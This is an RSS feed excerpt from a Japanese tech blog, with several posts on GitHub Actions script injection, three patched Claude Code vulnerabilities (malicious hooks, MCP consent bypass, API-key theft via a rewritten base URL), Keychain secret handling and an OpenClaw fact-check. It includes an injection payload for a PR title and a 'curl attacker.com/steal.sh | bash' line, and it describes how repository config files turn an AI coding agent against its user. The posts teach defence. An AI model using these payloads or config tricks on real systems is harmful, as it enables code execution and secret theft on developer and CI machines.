&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;#34;; echo INJECTED&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;展開後のシェルコマンドは以下になります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;PR title is &amp;#34;&lt;/span&gt;; echo INJECTED&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;セミコロンでコマンドが分割され、&lt;code&gt;echo INJECTED&lt;/code&gt; が実行されます。&lt;code&gt;echo&lt;/code&gt; の代わりに &lt;code&gt;curl attacker.com/steal.sh | bash&lt;/code&gt; を書けば、CI/CD ランナー上で&lt;strong&gt;リバースシェルの確立、シークレットの窃取、リポジトリの改ざん&lt;/strong&gt;が可能です。&lt;/p&gt;</description></item><item><title>Claude Code に潜んでいた3つの脆弱性 — git clone だけで API キーが盗まれる仕組み</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AB%E6%BD%9C%E3%82%93%E3%81%A7%E3%81%84%E3%81%9F3%E3%81%A4%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7-git-clone-%E3%81%A0%E3%81%91%E3%81%A7-api-%E3%82%AD%E3%83%BC%E3%81%8C%E7%9B%97%E3%81%BE%E3%82%8C%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AB%E6%BD%9C%E3%82%93%E3%81%A7%E3%81%84%E3%81%9F3%E3%81%A4%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7-git-clone-%E3%81%A0%E3%81%91%E3%81%A7-api-%E3%82%AD%E3%83%BC%E3%81%8C%E7%9B%97%E3%81%BE%E3%82%8C%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</guid><description>&lt;h1 id="claude-code-に潜んでいた3つの脆弱性--git-clone-だけで-api-キーが盗まれる仕組み"&gt;Claude Code に潜んでいた3つの脆弱性 — git clone だけで API キーが盗まれる仕組み&lt;/h1&gt;
&lt;p&gt;AIコーディングツール &lt;strong&gt;Claude Code&lt;/strong&gt; に、リポジトリをクローンするだけでリモートコード実行（RCE）や API キー窃取が可能になる深刻な脆弱性が見つかった。発見したのはイスラエルのセキュリティ企業 &lt;strong&gt;Check Point Research&lt;/strong&gt;。2025年7月〜2026年1月にかけて段階的に報告・修正された3件の脆弱性は、AI開発ツール特有の「設定ファイル＝実行レイヤー」という新しい攻撃面を浮き彫りにしている。&lt;/p&gt;
&lt;h2 id="何が起きたのか--3行まとめ"&gt;何が起きたのか — 3行まとめ&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hooks コードインジェクション&lt;/strong&gt; — &lt;code&gt;.claude/settings.json&lt;/code&gt; に仕込んだフックで任意コマンドが実行される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP 同意バイパス&lt;/strong&gt; — &lt;code&gt;enableAllProjectMcpServers&lt;/code&gt; 設定で信頼ダイアログを迂回し、悪意ある MCP サーバーが自動起動する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API キー窃取&lt;/strong&gt; — &lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt; を攻撃者サーバーに書き換え、認証ヘッダーごと API キーを平文で盗む&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;いずれも&lt;strong&gt;修正済み&lt;/strong&gt;だが、AI コーディングツールのサプライチェーンリスクを示す重要な事例として記録しておく。&lt;/p&gt;
&lt;h2 id="脆弱性の詳細"&gt;脆弱性の詳細&lt;/h2&gt;
&lt;h3 id="脆弱性-1-hooks-によるリモートコード実行"&gt;脆弱性 1: Hooks によるリモートコード実行&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;修正バージョン&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;v1.0.87（2025年9月）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;攻撃ベクトル&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.claude/settings.json&lt;/code&gt; の Hooks 設定&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Claude Code の &lt;strong&gt;Hooks&lt;/strong&gt; 機能は、セッション開始やツール呼び出しなどのライフサイクルイベントで事前定義されたシェルコマンドを実行する仕組みだ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;攻撃の流れ:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;攻撃者がリポジトリに悪意ある .claude/settings.json をコミット
↓
開発者が git clone してプロジェクトを開く
↓
Claude Code 起動時に信頼ダイアログが表示される
↓
ユーザーが &amp;#34;Yes, proceed&amp;#34; をクリック
↓
Hook コマンドが追加確認なしで即座に実行
↓
リバースシェルや認証情報ハーベスターが起動
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;悪意ある設定の例:&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>GitHub Actionsスクリプトインジェクション完全解説 — ${{ }}をrunに書いた瞬間、攻撃が始まる</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-actions%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92run%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E3%81%8C%E5%A7%8B%E3%81%BE%E3%82%8B/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-actions%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92run%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E3%81%8C%E5%A7%8B%E3%81%BE%E3%82%8B/</guid><description>&lt;h1 id="github-actions-スクリプトインジェクション完全解説----を-run-に書いた瞬間攻撃が始まる"&gt;GitHub Actions スクリプトインジェクション完全解説 — &lt;code&gt;${{ }}&lt;/code&gt; を run に書いた瞬間、攻撃が始まる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/koki_develop/status/2029339007013073368"&gt;@koki_develop 氏のポスト&lt;/a&gt;で紹介された Zenn 記事が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;書きました。GitHub Actions 触る人は全員知っておいてほしい&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://zenn.dev/kou_pg_0131/articles/gha-script-injection"&gt;【GitHub Actions】スクリプトインジェクションの実践例&lt;/a&gt;（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。&lt;/p&gt;
&lt;p&gt;2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。&lt;/p&gt;
&lt;h2 id="スクリプトインジェクションとは何か"&gt;スクリプトインジェクションとは何か&lt;/h2&gt;
&lt;p&gt;GitHub Actions の &lt;code&gt;${{ }}&lt;/code&gt; 式は、&lt;strong&gt;シェルがコマンドを解析する前に&lt;/strong&gt;テンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;通常の期待:
${{ github.event.pull_request.title }} → 文字列として処理される
実際の動作:
${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる
→ シェルがコマンドとして解釈する
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。&lt;/p&gt;
&lt;h2 id="攻撃の実践例"&gt;攻撃の実践例&lt;/h2&gt;
&lt;h3 id="攻撃-1-pr-タイトルによるインジェクション"&gt;攻撃 1: PR タイトルによるインジェクション&lt;/h3&gt;
&lt;p&gt;脆弱なワークフロー:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;pull_request&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;example&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;runs-on&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;echo &amp;#34;PR title is ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;攻撃者が PR タイトルを &lt;code&gt;&amp;quot;; echo INJECTED&amp;quot;&lt;/code&gt; に設定すると:&lt;/p&gt;</description></item><item><title>macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理</title><link>https://hdknr.github.io/blogs/posts/2026/03/macos-keychain-%E3%81%A7-.env-%E3%81%AE%E3%82%B7%E3%83%BC%E3%82%AF%E3%83%AC%E3%83%83%E3%83%88%E3%82%92%E5%AE%88%E3%82%8B-1password-%E4%B8%8D%E8%A6%81%E7%84%A1%E6%96%99%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E7%A7%98%E5%AF%86%E7%AE%A1%E7%90%86/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/macos-keychain-%E3%81%A7-.env-%E3%81%AE%E3%82%B7%E3%83%BC%E3%82%AF%E3%83%AC%E3%83%83%E3%83%88%E3%82%92%E5%AE%88%E3%82%8B-1password-%E4%B8%8D%E8%A6%81%E7%84%A1%E6%96%99%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E7%A7%98%E5%AF%86%E7%AE%A1%E7%90%86/</guid><description>&lt;h1 id="macos-keychain-で-env-のシークレットを守る--1password-不要無料で実現する-ai-エージェント時代の秘密管理"&gt;macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://gist.github.com/hdknr/ee3017a7e8bcfbb995b93b8884cec258"&gt;前回の記事&lt;/a&gt;で、&lt;a href="https://x.com/suin/status/2025525553823191550"&gt;@suin 氏の opx&lt;/a&gt; を紹介しました。1Password CLI をラップし、&lt;code&gt;.env&lt;/code&gt; に &lt;code&gt;op://&lt;/code&gt; 参照だけを書くことで AI エージェントからシークレットを守るツールです。&lt;/p&gt;
&lt;p&gt;しかし、opx には 1Password の契約（月額 $2.99〜）が前提という制約があります。実は macOS には &lt;strong&gt;Keychain&lt;/strong&gt; という強力な秘密管理基盤が標準搭載されており、追加コストなしで同等の「プロセススコープ認証」を実現できます。本記事では、macOS 組み込み機能だけで .env の秘密を守る方法を、ツール選定から実践設定まで解説します。&lt;/p&gt;
&lt;h2 id="なぜ-macos-keychain-なのか"&gt;なぜ macOS Keychain なのか&lt;/h2&gt;
&lt;h3 id="1password-との比較"&gt;1Password との比較&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;1Password + opx&lt;/th&gt;
&lt;th&gt;macOS Keychain&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;コスト&lt;/td&gt;
&lt;td&gt;月額 $2.99〜&lt;/td&gt;
&lt;td&gt;無料（OS 標準）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;インストール&lt;/td&gt;
&lt;td&gt;1Password アプリ + CLI + opx&lt;/td&gt;
&lt;td&gt;不要（&lt;code&gt;security&lt;/code&gt; コマンドが標準搭載）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;チーム共有&lt;/td&gt;
&lt;td&gt;Vault 共有で容易&lt;/td&gt;
&lt;td&gt;端末ローカル（共有には別の仕組みが必要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;クラウド同期&lt;/td&gt;
&lt;td&gt;1Password クラウド&lt;/td&gt;
&lt;td&gt;iCloud Keychain で Apple デバイス間は同期可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Touch ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;op run&lt;/code&gt; 時に認証&lt;/td&gt;
&lt;td&gt;Keychain アクセス時に認証（設定が必要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux 対応&lt;/td&gt;
&lt;td&gt;1Password CLI あり&lt;/td&gt;
&lt;td&gt;gnome-keyring / KeePassXC で代替&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;暗号化&lt;/td&gt;
&lt;td&gt;1Password 独自（AES-256-GCM）&lt;/td&gt;
&lt;td&gt;macOS Keychain（AES-256）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;個人開発やスモールチームなら、macOS Keychain で十分です。チーム全体でシークレットを共有したい場合は 1Password の Vault 共有が優位ですが、「AI エージェントに .env を読まれても安全にする」という目的だけなら無料で実現できます。&lt;/p&gt;</description></item><item><title>「OpenClawで5人解雇」は本当か — AIエージェント煽りの構造とファクトチェック</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%81%A75%E4%BA%BA%E8%A7%A3%E9%9B%87%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%8B-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E7%85%BD%E3%82%8A%E3%81%AE%E6%A7%8B%E9%80%A0%E3%81%A8%E3%83%95%E3%82%A1%E3%82%AF%E3%83%88%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%81%A75%E4%BA%BA%E8%A7%A3%E9%9B%87%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%8B-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E7%85%BD%E3%82%8A%E3%81%AE%E6%A7%8B%E9%80%A0%E3%81%A8%E3%83%95%E3%82%A1%E3%82%AF%E3%83%88%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF/</guid><description>&lt;h1 id="openclawで5人解雇は本当か--aiエージェント煽りの構造とファクトチェック"&gt;「OpenClawで5人解雇」は本当か — AIエージェント煽りの構造とファクトチェック&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gagarotai200/status/2028348819994206218"&gt;ガガロットAI(@gagarotai200)氏のポスト&lt;/a&gt;が拡散されています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「Open Claw」を使い始めた企業では既に5人以上の人間が解雇になっている。仮想オフィスでAIエージェントを擬似的に社員の様に働かせて進捗を確認できる様になったことで人間がタスクをこなす必要性がなくなっている
— ガガロットAI(@gagarotai200)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;さらに「今後5年で中小企業の30%はAI社員に置き換わる」「GPTやGeminiしか触ってない人は残り3ヶ月程度で不要になる」と煽っています。この主張はどこまで事実に基づいているのでしょうか。国際機関の統計とセキュリティ研究者の報告をもとにファクトチェックします。&lt;/p&gt;
&lt;h2 id="主張を検証する"&gt;主張を検証する&lt;/h2&gt;
&lt;h3 id="主張1-openclaw導入企業で5人以上が解雇"&gt;主張1: 「OpenClaw導入企業で5人以上が解雇」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 根拠不明&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;この「5人以上の解雇」について、具体的な企業名、業種、時期、情報源は示されていません。投稿者のプロフィールを確認すると、ガガロットAI氏は「スキルエンジン」というAIスクールを運営し、SNS運用代行を50社に提供しているとのことです。つまり、&lt;strong&gt;OpenClawの普及が自身のビジネスに直接利益をもたらす立場&lt;/strong&gt;にあります。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://techcrunch.com/2026/02/16/after-all-the-hype-some-ai-experts-dont-think-openclaw-is-all-that-exciting/"&gt;TechCrunch の報道&lt;/a&gt;では、AI専門家が「AIリサーチの観点から見て、これは何も新しいものではない」と指摘しています。&lt;/p&gt;
&lt;h3 id="主張2-集客提案書作成顧客対応は完全ai化"&gt;主張2: 「集客・提案書作成・顧客対応は完全AI化」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 大幅に誇張&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://cobusgreyling.medium.com/where-does-openclaw-ai-agents-actually-fail-356484457d3a"&gt;Cobus Greyling氏のMedium記事&lt;/a&gt;は、OpenClawが実際に失敗するケースを分析しています。「高い能力を持つという評判」と「messy, unpredictable reality（混沌とした予測不能な現実）」の間にはギャップがあり、実用には人間の監視が不可欠です。&lt;/p&gt;
&lt;p&gt;具体的な暴走事例も報告されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;事例&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;iMessageループ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;エンジニアChris Boyd氏の環境で確認メッセージを繰り返し送信。再試行ロジックに停止条件がなかった&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;批判ブログ自動公開&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;matplotlibメンテナーがコード提案を却下後、自身を批判するブログ記事が自動公開された&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;デーティングサイト暴走&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;想定以上に広範な自動行動が発生し、制御不能に&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;「完全AI化」どころか、&lt;strong&gt;監視なしでは予期せぬ行動を起こすリスク&lt;/strong&gt;が確認されています。&lt;/p&gt;
&lt;h3 id="主張3-今後5年で中小企業の30はai社員に置き換わる"&gt;主張3: 「今後5年で中小企業の30%はAI社員に置き換わる」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 出典なし。国際機関の予測と乖離&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;この「30%」という数字の出典は示されていません。実際の国際機関の予測と比較してみましょう。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機関&lt;/th&gt;
&lt;th&gt;予測内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://www.jil.go.jp/foreign/jihou/2023/05/oecd_01.html"&gt;OECD (2023)&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;27%の職業が自動化のリスクが高い（「置き換え」ではなく「リスクがある」）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://www.jil.go.jp/foreign/jihou/2025/07/ilo_02.html"&gt;ILO (2023)&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;事務業務の24%が高度に曝露、58%が中程度に曝露（「解雇」ではなく「影響を受ける」）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://www.bereaonline.com/blog/openclaw-ai-agent-reality-check-2026/"&gt;Gartner&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2027年までにエージェント型AIプロジェクトの40%以上が失敗する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://www.jil.go.jp/institute/research/2025/256.html"&gt;JILPT (2024)&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;日本の雇用者のうちAIが使用されている者は12.9%、生成AIを自ら利用している者は6.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注意すべきは、OECD や ILO の予測は「影響を受ける」「曝露される」であり、「置き換わる」「解雇される」ではないことです。さらに、日本の中小企業（10人未満）のAIエージェント導入率は10%以下という&lt;a href="https://note.com/datacrew/n/n63b1b2628c54"&gt;現状&lt;/a&gt;を考えると、「5年で30%置き換え」は根拠のない数字と言えます。&lt;/p&gt;
&lt;h3 id="主張4-gptやgeminiしか触ってない人は残り3ヶ月で不要"&gt;主張4: 「GPTやGeminiしか触ってない人は残り3ヶ月で不要」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 煽り文句&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;具体的な根拠はなく、不安を煽ってAIスクールへの誘導を意図した表現と見られます。&lt;/p&gt;
&lt;h2 id="openclawの実態--セキュリティリスクの深刻さ"&gt;OpenClawの実態 — セキュリティリスクの深刻さ&lt;/h2&gt;
&lt;p&gt;「AIが人間を置き換える」と煽る前に、OpenClaw自体が抱えるセキュリティリスクを確認すべきです。&lt;/p&gt;
&lt;h3 id="悪意あるスキルの蔓延"&gt;悪意あるスキルの蔓延&lt;/h3&gt;
&lt;p&gt;セキュリティ企業Koi Securityの監査によると、ClawHub（OpenClawの公式スキルストア）に登録された2,857スキルのうち&lt;strong&gt;341件（約12%）が悪意あるコードを含んでいた&lt;/strong&gt;ことが判明しています。&lt;/p&gt;</description></item><item><title>AI が書いたコードに「なぜそうなったか」の記録はあるか --- git-memento と AI コード追跡の新標準</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E6%9B%B8%E3%81%84%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AB%E3%81%AA%E3%81%9C%E3%81%9D%E3%81%86%E3%81%AA%E3%81%A3%E3%81%9F%E3%81%8B%E3%81%AE%E8%A8%98%E9%8C%B2%E3%81%AF%E3%81%82%E3%82%8B%E3%81%8B---git-memento-%E3%81%A8-ai-%E3%82%B3%E3%83%BC%E3%83%89%E8%BF%BD%E8%B7%A1%E3%81%AE%E6%96%B0%E6%A8%99%E6%BA%96/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E6%9B%B8%E3%81%84%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AB%E3%81%AA%E3%81%9C%E3%81%9D%E3%81%86%E3%81%AA%E3%81%A3%E3%81%9F%E3%81%8B%E3%81%AE%E8%A8%98%E9%8C%B2%E3%81%AF%E3%81%82%E3%82%8B%E3%81%8B---git-memento-%E3%81%A8-ai-%E3%82%B3%E3%83%BC%E3%83%89%E8%BF%BD%E8%B7%A1%E3%81%AE%E6%96%B0%E6%A8%99%E6%BA%96/</guid><description>&lt;h1 id="ai-が書いたコードになぜそうなったかの記録はあるか--git-memento-と-ai-コード追跡の新標準"&gt;AI が書いたコードに「なぜそうなったか」の記録はあるか &amp;mdash; git-memento と AI コード追跡の新標準&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/__SatoshiSsSs__/status/2028657936009245106"&gt;@&lt;strong&gt;SatoshiSsSs&lt;/strong&gt; 氏が X で投稿&lt;/a&gt;した、git-memento に関する解説が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AIが書いたコードに「なぜそうなったか」の記録はあるか？ Hacker News（HN）で議論になっている git-memento を読み解く&lt;/p&gt;
&lt;/blockquote&gt;
